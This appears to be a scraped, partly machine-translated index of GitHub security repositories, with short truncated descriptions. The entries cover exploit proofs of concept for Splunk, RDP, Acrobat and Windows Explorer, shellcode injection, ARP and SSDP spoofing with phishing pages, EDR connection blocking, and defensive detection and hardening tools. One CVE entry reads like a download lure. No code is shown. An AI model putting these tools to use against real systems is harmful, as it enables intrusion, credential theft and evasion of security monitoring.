CVE-2024-36991

CVE-2024-36991 CVE-2024-36991 の PoC: このエクスプロイトは Splunk の /etc/passwd ファイルを読み取ろうとします。 概要 これは、Windows 上の Splunk Enterprise バージョン 9.2.2、9.1.5、9.0.10 未満に影響するパストラバーサルCVE-2024-36991を対象とした一括スキャンおよびエクスプロイトツールです。この脆弱性は Danylo Dmytriiev によって発見されました。 使用方法 最低要件 Python 3.6 以上 requests ライブラリ 単一ターゲット: python...

DbgNexum

DbgNexum - Inyección de Shellcode DbgNexum es una prueba de concepto PoC para inyectar shellcode mediante la API de depuración de Windows y memoria compartida File Mapping. Evita escribir y leer memoria remota directamente; en su lugar, utiliza la manipulación del contexto para forzar al proceso...

DetectionLabELK

DetectionLabELK DetectionLabELKは、Chris Long氏のDetectionLabをフォークし、Splunkの代わりにELKスタックを使用したものです。 説明: DetectionLabELKは、効果的な検知能力を構築したい場合に最適なラボです。ディフェンダーを念頭に置いて設計されています。主な目的は、ブルーチームがセキュリティツールがあらかじめインストールされ、システムログ設定に関するベストプラクティスが適用されたWindowsドメインを迅速に構築できるようにすることです。必要に応じて簡単に変更したり、追加のホストを含めるように拡張したりできます。...

DCSYNCMonitor

DCSYNCMonitor 説明 このツールは、ドメインコントローラに展開して、ドメインコントローラの同期試行を警告するアプリケーション/サービスです。試行が検出されると、ツールはWindowsイベントログにイベントを書き込みます。これらのイベントはSIEMで相関させることができます。さらに、このツールは有効なDC IPのリストを受け取り、その構成では、DC SYNC試行が非DC IPから発生した場合にのみ警告します。このツールは、Microsoft ATAのような商用ツールや高度なIDS/IPSを使わずに、ブルーチームがDC SYNC攻撃やDC...

elmocut

elmoCut Windows向けのアイキャンディARPスプーファー 免責事項 • スクリーンショット • 説明 • 機能 • 制限事項 • ダウンロード • 必要条件 • マニュアル • ソースから実行 • ソースからビルド • TODO • 貢献 • ライセンス 免責事項 本ソフトウェアの使用は自己責任で行われ、かかる活動によって自分の/他人のコンピュー...

PrivKit

PrivKit Windowsローカル特権昇格チェックのためのBeacon Object Files（BOF）のコレクションです。 説明 PrivKitは、レッドチームやペネトレーションテスターが、Cobalt StrikeのBeacon Object Files（BOF）を使用して、一般的なWindowsローカル特権昇格ベクトルを迅速に特定できるようにするオープンソースツールです。 コマンドラインの使用法と例については、使用法のセクションを参照してください。 バグを見つけた場合は、遠慮なく報告してください。皆様のフィードバックは、このプロジェクトの品質向上に役立ちます。 免責事項...

windows_hardening

HardeningKitty 与 Windows 加固 简介 该项目最初只是一个针对 Windows 10 的简单加固清单。一段时间后，HardeningKitty 被创建出来，以简化 Windows 的加固过程。如今，HardeningKitty 支持来自 Microsoft、CIS Benchmarks、DoD STIG 和 BSI SiSyPHuS Win10 的指南。当然，还有我自己的加固清单。 这是一份加固检查清单，可用于个人和企业环境中对 Windows 10 进行加固。该检查清单可用于所有 Windows 版本，但在 Windows 10...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep CVE-2019-0708 BlueKeep 的 Metasploit 模块 从 https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp 拉取并修复 文件复制说明 1. 在 /usr/share/metasploit-framework/modules/exploits/windows/ 中创建一个名为 'rdp' 的文件夹 2. 将文件...

Exploit-CVE-2021-21086

CVE-2021-21086 エクスプロイト このエクスプロイトは、Windows 10 上の Adobe Acrobat Reader DC 2020.013.20074 およびそれ以前のバージョンのレンダリングプロセスのコンテキストでシェルコードを実行できます。 注: この例で使用されているシェルコードは calc を起動します。これを機能させるには、Adobe Reader のサンドボックスを無効にする必要があります。または、別のシェルコードに置き換えることもできます。 サンドボックスを無効にした状態で 動作を こちら で確認できます。 詳細については、ブログ記事 をお読みください...

CVE-2025-68921

🎮 CVE-2025-68921 - 今日からあなたのゲーミングラップトップを守ろう 🚀 はじめに CVE-2025-68921 へようこそ。このアプリケーションは、数百万のデバイスに影響を与える脆弱性からゲーミングラップトップを保護します。以下の手順に従ってソフトウェアをダウンロードし、実行してください。 🔗 今すぐダウンロード 💾 システム要件 CVE-2025-68921 をスムーズに実行するには、ゲーミングラップトップが以下の要件を満たしていることを確認してください。 オペレーティングシステム: Windows 10 以降 プロセッサ: Intel または AMD、2 GHz 以...

Exe2Image

Exe2Image EXEファイルをPNG画像に変換し、その逆も行うシンプルなユーティリティです。 ダウンロード: https://github.com/OsandaMalith/Exe2Image/releases スクリーンショット Putty.exeを画像に変換した例。...

EnableWindowsLogSettings

大和セキュリティによる、DFIRと脅威ハンティングのためのWindowsイベントログ設定のガイド English | 日本語 Windowsのイベントログの設定と監視に関するガイドで、Sigmaルールが何かを検出するために、また正しいDFIR調査のために適切なログを有効にすることに重点を置いています。 TLDR Windowsのデフォルトの監査設定ではsigmaルールの1020%程度しか利用できません。 Windowsのログが有効になっていても、デフォルトではログの最大サイズがたった1〜20MBなので、すぐに証拠が上書きされてしまう可能性が高いです。...

SilentButDeadly

SilentButDeadly 概要 SilentButDeadlyは、Windowsフィルタリングプラットフォーム（WFP）を使用してEDR/AVソフトウェアのクラウド接続を防止するために特別に設計されたネットワーク通信ブロッカーツールです。このバージョンは、プロセスの終了を行わず、ネットワークの分離のみに焦点を当てています。 ブログ: https://ryan.framinan.net/blog/silentbutdeadly プログラムの流れ 1. 初期化フェーズ 管理者権限を確認中... + 管理者権限で実行中 EDRの列挙を開始するにはを押してください...

libptrace

libptrace libptrace は、イベント駆動型のプロセス/スレッドのデバッグ、トレース、操作フレームワークです。C で記述されており、Python 2.7 および 3.7 のバインディングを備えています。 ライブラリとして使用することを意図されています。API はクロスプラットフォームのサポートを念頭に設計されています。現在のバージョンは 32 ビットおよび 64 ビット wow64 対応 の Windows でのみ動作しますが、設計と抽象化は、同じ API の下で他のプラットフォームやリモートデバッグのサポートを追加できるようになっています。...

CVE-2025-24071-msfvenom

CVE-2025-24071: .library-msファイルを介したNTLMハッシュ漏洩（Metasploitモジュール） このリポジトリには、ZIPアーカイブから悪意のある.library-msファイルが展開されるとNTLMハッシュを漏洩させるWindows Explorerの脆弱性であるCVE-2025-24071を悪用するためのMetasploitモジュール が含まれています。 開発者: FOLKS-IWD 概要 この脆弱性は、ユーザーが特別に細工された.library-msファイルを含むZIPアーカイブを展開したときに発生します。Windows...

npcap

Npcap Npcap is a packet capture and injection library for Windows by the Nmap Project. It is a complete update to the unmaintained WinPcap project with improved speed, reliability, and security. Documentation The complete documentation for Npcap is available in the Npcap Guide on npcap.com. There...

npcap

Npcap Npcapは、Nmap ProjectによるWindows向けのパケットキャプチャおよびインジェクションライブラリです。これは、メンテナンスされていないWinPcapプロジェクトの完全なアップデートであり、速度、信頼性、セキュリティが向上しています。 ドキュメント Npcapの完全なドキュメントは、npcap.comのNpcap Guideで入手できます。そこでは、インストール、バグ報告、Npcapを使用したソフトウェア開発、およびNpcapの内部構造に関する情報が見つかります。 ダウンロード 最新のインストーラ、ソフトウェア開発キット（SDK）、ソースコード、デバッグシンボ...

CVE-2021-1732

CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 ローカル権限昇格の脆弱性研究およびPoc/Exploit開発 影響を受けるシステムとアプリケーションのバージョン Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64‑based Systems Windows 10 Version 20H2 for 32‑bit Systems Windows 10 Version 20H2 for x64‑based Systems...

CVE-2026-54107

ValidateHwnd がゲートではないとき: CVE-2026-54107 の根本原因を追う win32kfull.sys のウィンドウライフサイクル管理における use-after-free —— どのように見つけ、どうやって本物だと確信したか、そして研究者側から見た MSRC プロセスが実際どうだったか。...

evil-ssdp

Overview This tool responds to SSDP multicast discover requests, posing as a generic UPNP device. Your spoofed device will magically appear in Windows Explorer on machines in your local network. Users who are tempted to open the device are shown a configurable phishing page. This page can load a...